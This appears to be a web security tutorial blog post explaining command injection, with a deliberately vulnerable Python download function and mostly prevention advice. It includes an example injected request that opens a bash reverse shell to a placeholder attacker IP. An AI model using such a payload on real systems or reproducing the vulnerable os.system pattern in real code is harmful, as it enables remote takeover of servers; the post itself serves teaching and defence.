Thứ Hai, Tháng Một 30, 2023
  • Home
  • Health
  • News
  • Software
  • Tech
  • Travel
  • Gen Z
NATuts
  • Home
  • Health
  • News
  • Software
  • Tech
  • Travel
  • Gen Z
No Result
View All Result
NATuts
  • Home
  • Health
  • News
  • Software
  • Tech
  • Travel
  • Gen Z
No Result
View All Result
NATuts
No Result
View All Result
Home Tech

Learn about Command Injection attacks

9 Tháng Bảy, 2022
in Tech
0
Learn about Command Injection attacks
585
SHARES
3.2k
VIEWS
Share on FacebookShare on Twitter

Các bài viết liên quan:

How to get travel insurance

Guide on how to get travel insurance with 4 options

24 Tháng Một, 2023
Software Asset Management for Websites: How to Keep Your Sites Running Smoothly

Software Asset Management for Websites: How to Keep Your Sites Running Smoothly

8 Tháng Một, 2023
5 Best Software to Stream Games

5 Best Software to Stream Games

2 Tháng Một, 2023
IBM Bridge To Cloud For Power

IBM Bridge To Cloud For Power- Everything You Should Know

2 Tháng Một, 2023
Top 10 CRM Software For Construction 

Top 10 CRM Software For Construction Enterprises All The Time

31 Tháng Mười Hai, 2022
What Is IBM Software

What Is IBM Software? 4 Business Segments at IBM You Should Know

26 Tháng Mười Hai, 2022

Remote code execution is a type of vulnerability that occurs when attackers can execute their code on your machine. One of the most common ways it can happen is through command injection vulnerabilities. They are a type of remote code execution that occurs when user input is directly appended to a system command.

Learn about Command Injection attacks

Learn about Command Injection attacks

In the previous post, I showed how exploit Command Injection bug. In this article, we will take a deeper look at the Command Injection vulnerability.

Assume that your website has functionality that allows users to download a remote file and view it on the site. Your application will use the system command to download the remote file.

Here is the python source code of that function. The os.system() function executes its input string as a system command.

import os
def download(url):
  os.system(“wget -O- {}”.format(url))
display(download(user_input.url))

Wget is a tool that downloads files by providing a URL and the -O- option that allows Wget to download the file and display it in standard output. So this program takes a URL from user input and passes it to the Wget command which is executed using os.system(). For example, if you submit this request, the app will download the source code of the Google homepage and show it to you.

GET /download?url=google.com
Host: example.com

In this case, the system command becomes:

wget -O- google.com

In the Linux command line, the semicolon “;” can be used to separate individual commands. An attacker can execute arbitrary commands after the Wget command by sending any command they want after a semicolon “;”. This input will cause the application to generate a reverse shell connect to the attacker’s IP on port 8080.

GET /download?url=”google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1"
Host: example.com

In this case, the system command becomes:

wget -O- google.com;bash -i >& /dev/tcp/attacker_ip/8080 0>&1

The reverse shell makes the target server communicate with the attacker’s machine and establishes a remotely accessible user interface that allows the attacker to execute any system command.

Prevent Command Injections

As you can see, command injection can help an attacker completely infiltrate your application and the user account running the web server. So how can these dangerous vulnerabilities be prevented?

First, you can prevent command injection by not running system commands with user-supplied input. If you need to use user input in system commands, avoid calling operating system commands directly. Instead, you could try using the built-in library functions that serve the same purpose. For example, instead of using os.system(“mkdir /dir_name”)you can use os.mkdir(“/dir_name”) in python’s OS library. And since user input can be turned into code that is parsed by the application, you should treat user-uploaded files as untrusted and protect the integrity of system files executed. , parsed or included by programs.

Alternatively, you can implement input validation for input passed into commands. The best way to do this is through a whitelist. You can whitelist strings or whitelist allowed characters. For example, when you want the user to be able to execute arbitrary commands, you can whitelist commands the user is allowed to run, such as ls and pwd, and only allow those input strings .

When you can’t do that, you can also whitelist the allowed characters. For example, this regular expression only allows lowercase letters and numbers and does not allow any special characters that can be used to manipulate the logic of the command. The length of the input string is also being limited to 1–10 characters.

^[a-z0–9]{1,10}$

Finally, you can also remove characters inserted into operating system commands. For example, some dangerous characters that should be removed include:

& | ; $ > < ` \ !

But this is often less efficient because attackers are constantly coming up with creative methods to bypass blacklist-based input validation.

If all else fails and an attacker manages to inject commands into your machine, how can you mitigate the harm they can cause? Running arbitrary commands on a system means having near-full access to that application’s permissions. So if you limit what your application can do on your system, a single injection by that application will not be able to cause serious harm to your system.

The “Least Privilege Principle” states that applications and processes should only be granted the privileges necessary to complete their tasks. It is a best practice that reduces the risk of system intrusion during an attack because attackers will not have access to sensitive files and activities even if they are able to infiltrate users or processes. have low privileges. For example, when a web application only requests read access to a file, it will not be granted any write or execute permissions. Because if an attacker hijacks an application with high privileges, the attacker can gain its permissions. In this case, you should limit the privileges of the user running the web server so that attackers cannot use it to infiltrate the entire system.

Finally, you should update patches to prevent your application’s dependencies from creating command injection vulnerabilities. And you can also implement a web application firewall (WAF) to block suspicious attacks.

Previous Post

10 Easy Ways to Fix Your Verizon Router Yellow Light in 2022

Next Post

Top 10 địa chỉ bán chả cá Nha Trang uy tín, chất lượng nhất

Megusta

Megusta

Related Posts

5 Best Software to Stream Games

5 Best Software to Stream Games

2 Tháng Một, 2023
Top 10 CRM Software For Construction 

Top 10 CRM Software For Construction Enterprises All The Time

31 Tháng Mười Hai, 2022
Instruction how to use OBS streaming software

Features, settings and how to use OBS streaming software through 9 simple steps

25 Tháng Mười Hai, 2022
What is Trans woman?  What is Transgender Women?

What is Trans woman? What is Transgender Women?

23 Tháng Mười Hai, 2022
Christmas gift: Genuine Windows 10 Pro for only $6.63 and Office 2021 for $14.22

Christmas gift: Genuine Windows 10 Pro for only $6.63 and Office 2021 for $14.22

22 Tháng Mười Hai, 2022
How to get 50 free coins of SkyJoy App to redeem

How to get 50 free coins of SkyJoy App to redeem

21 Tháng Mười Hai, 2022
Load More
Next Post
Top 10 địa chỉ bán chả cá Nha Trang uy tín, chất lượng nhất

Top 10 địa chỉ bán chả cá Nha Trang uy tín, chất lượng nhất

Trả lời Hủy

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Bài viết mới

How to get travel insurance
Đời sống

Guide on how to get travel insurance with 4 options

24 Tháng Một, 2023
Software Asset Management for Websites: How to Keep Your Sites Running Smoothly
Phần mềm

Software Asset Management for Websites: How to Keep Your Sites Running Smoothly

8 Tháng Một, 2023
5 Best Software to Stream Games
Software

5 Best Software to Stream Games

2 Tháng Một, 2023
IBM Bridge To Cloud For Power
Software

IBM Bridge To Cloud For Power- Everything You Should Know

2 Tháng Một, 2023
Top 10 CRM Software For Construction 
Tech

Top 10 CRM Software For Construction Enterprises All The Time

31 Tháng Mười Hai, 2022
What Is IBM Software
Software

What Is IBM Software? 4 Business Segments at IBM You Should Know

26 Tháng Mười Hai, 2022
W3Schools

Ads

Contact: [email protected]

DMCA.com Protection Status

Categories

  • Android
  • Cạm bẫy tâm lí
  • Chưa được phân loại
  • Đồ họa
  • Đời sống
  • Gen Z
  • Health
  • iOS
  • Kĩ năng mềm
  • News
  • Nhà mạng
  • Phần mềm
  • Phần mềm đồ họa
  • Review sách
  • Software
  • Tech
  • Thiết kế ảnh
  • Thiết kế video
  • Thủ thuật
  • Travel
  • Văn hóa Nam Bộ
  • Văn học
  • Window

Browse by Tag

ai là triệu phú android Apple browser Bullet Journal bản thân chai pin Chỉnh ảnh data domain download fshare game game show giả lập màu hosting IKEA ios khuyến mãi kinh doanh kiến thức kiểm tra pin messenger miễn phí mua sắm Máy ảnh mạng network nghệ thuật ngôn ngữ nhà Trần pin laptop quảng cáo tiếng anh trạng thái Trần Thủ Độ tên miền tắt hoạt động từ vựng video viettel window 10 word zalo Đơn giản

Recent News

How to get travel insurance

Guide on how to get travel insurance with 4 options

24 Tháng Một, 2023
Software Asset Management for Websites: How to Keep Your Sites Running Smoothly

Software Asset Management for Websites: How to Keep Your Sites Running Smoothly

8 Tháng Một, 2023

Trang tin nóng hổi - vừa thổi vừa xem

No Result
View All Result
  • Home
  • Health
  • News
  • Software
  • Tech
  • Travel
  • Gen Z

Trang tin nóng hổi - vừa thổi vừa xem